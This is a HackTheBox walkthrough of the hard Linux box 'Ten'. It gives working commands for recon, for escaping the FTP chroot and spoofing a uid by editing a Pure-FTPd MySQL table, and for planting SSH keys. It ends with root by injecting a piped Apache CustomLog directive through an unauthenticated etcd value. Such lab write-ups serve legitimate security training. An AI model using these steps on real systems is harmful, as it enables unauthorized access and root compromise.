Skip to content

Ten Writeup - HackTheBox

Hard Linux
Mohammad Meraj

Independent Security Researcher

Ten is a hard Linux box. The chain runs: nmap finds FTP, SSH, and Apache, signup.php provisions real FTP accounts with a personal vhost, subdomain fuzzing finds webdb.ten.vl which exposes the Pure-FTPd MySQL backing table via an Adminer-style browser with a one-click login, editing the dir and uid/gid columns escapes the FTP chroot and spoofs tyrell's Unix identity, writing an SSH key to tyrell's .ssh directory gives shell access, etcd running as root with no auth holds the customer URL values that remco templates into live Apache vhost config without sanitization, injecting a newline and a CustomLog pipe directive into etcd runs arbitrary shell commands as root on the next logged request.

Discovery

Port scan

┌──(kali㉿kali)-[~]
└─$ nmap -p21,22,80 $TARGET_IP -sCV -oA nmap/nmap
PORT   STATE SERVICE VERSION
21/tcp open  ftp     Pure-FTPd
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu
80/tcp open  http    Apache httpd 2.4.52
|_http-title: Page moved.
┌──(kali㉿kali)-[~]
└─$ gobuster dir -u http://$TARGET_IP -w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt -x php
index.php   (Status: 200) [Size: 5131]
signup.php  (Status: 200) [Size: 4050]

signup.php is a self-service account provisioner. Submitting a domain name creates an FTP account and a vhost at domain.ten.vl.

Account Creation and Subdomain Discovery

┌──(kali㉿kali)-[~]
└─$ curl -X POST http://ten.vl/get-credentials-please-do-not-spam-this-thanks.php -F 'domain=test123'
OK
Your personal account is ready to be used:
Username: ten-6a9c0045
Password: 71e79f38
Personal Domain: test123.ten.vl
You can use the provided credentials to upload your pages via ftp://ten.vl.
┌──(kali㉿kali)-[~]
└─$ ffuf -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://ten.vl -H "Host: FUZZ.ten.vl" -fs 205
webdb   [Status: 200, Size: 1685]

webdb.ten.vl is a database browser. Its "Guess credentials" button logs straight in to MySQL on 127.0.0.1:3306.

FTP Chroot Escape

Leaking FTP user table

Browse to the pureftpd.users table in webdb.ten.vl. The table stores each user's chroot directory path, uid, and gid as editable columns. Pure-FTPd reads these at login time, not from config, so editing them changes the effective jail and Unix identity for the next session.

Escaping the chroot

Edit the dir column for your own account in the webdb table editor and reconnect via FTP after each change:

# Step 1 - one level up:
dir = /srv/./
# ftp ls shows all customer directories

# Step 2 - root filesystem:
dir = /../
# ftp ls shows bin, boot, etc, home, root, srv...

Chroot is now at /. Browse /etc/passwd over FTP to find the real user:

┌──(kali㉿kali)-[~]
└─$ ftp ten.vl
# (login with provisioned creds)
ftp> get /etc/passwd
tyrell:x:1000:1000:Tyrell W.:/home/tyrell:/bin/bash

/home/tyrell is mode drwxr-x--- owned by uid 1000. The provisioned FTP account has a different uid so access is denied. Edit uid and gid to 1000 in the webdb table editor and reconnect:

┌──(kali㉿kali)-[~]
└─$ ftp> cd home/tyrell
ftp> ls -la
drwx------  .ssh
-r--------  .user.txt

tyrell's home directory is readable. .ssh is writable with the spoofed uid. Plant an SSH key:

┌──(kali㉿kali)-[~]
└─$ ssh-keygen -t ed25519 -f ten_tyrell -N ""
┌──(kali㉿kali)-[~]
└─$ ftp> cd /home/tyrell/.ssh
ftp> put ten_tyrell.pub authorized_keys
226 File successfully transferred
┌──(kali㉿kali)-[~]
└─$ ssh -i ten_tyrell tyrell@ten.vl
tyrell@ten:~$ whoami
tyrell

Shell as tyrell.

Privilege Escalation

etcd + remco config injection

┌──(kali㉿kali)-[~]
└─$ ss -tulnp
┌──(kali㉿kali)-[~]
└─$ curl -s http://127.0.0.1:2379/version
tcp  LISTEN  127.0.0.1:2379
{"etcdserver":"3.5.13","etcdcluster":"3.5.0"}
┌──(kali㉿kali)-[~]
└─$ ps aux | grep etcd
root  1581 /usr/local/bin/etcd --name=etcd --listen-client-urls=http://0.0.0.0:2379

etcd runs as root with no authentication. It holds the customer URL values that drive the Apache vhost config via remco, a templating daemon that watches etcd keys and rewrites Apache config on every change:

┌──(kali㉿kali)-[~]
└─$ ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 get "" --prefix
/customers/ten-6a9c0045/url
test123
┌──(kali㉿kali)-[~]
└─$ cat /etc/remco/templates/010-customers.conf.tmpl
{% for customer in lsdir("/customers") %}
  {% if exists(printf("/customers/%s/url", customer)) %}
<VirtualHost *:80>
        ServerName {{ getv(printf("/customers/%s/url",customer)) }}.ten.vl
        DocumentRoot /srv/{{ customer }}/
</VirtualHost>
  {% endif %}
{% endfor %}

The customer URL is interpolated directly into the template without sanitization. remco is root-owned with no User= directive. A newline in the etcd value injects arbitrary Apache directives. Apache's CustomLog supports piped logging via |/path/to/command, executing as root on every logged request.

Inject the directive:

┌──(kali㉿kali)-[~]
└─$ ETCDCTL_API=3 etcdctl --endpoints=http://127.0.0.1:2379 put /customers/ten-6a9c0045/url $'privesc\nCustomLog "|/bin/cp /home/tyrell/.ssh/authorized_keys /root/.ssh/authorized_keys" common\n#'
OK

remco picks up the etcd change, rewrites the Apache config, and restarts Apache. Trigger a logged request to run the piped command:

┌──(kali㉿kali)-[~]
└─$ curl -s -H 'Host: privesc.ten.vl' http://127.0.0.1/ >/dev/null
┌──(kali㉿kali)-[~]
└─$ ssh -i ten_tyrell root@ten.vl
root@ten:~# whoami
root

References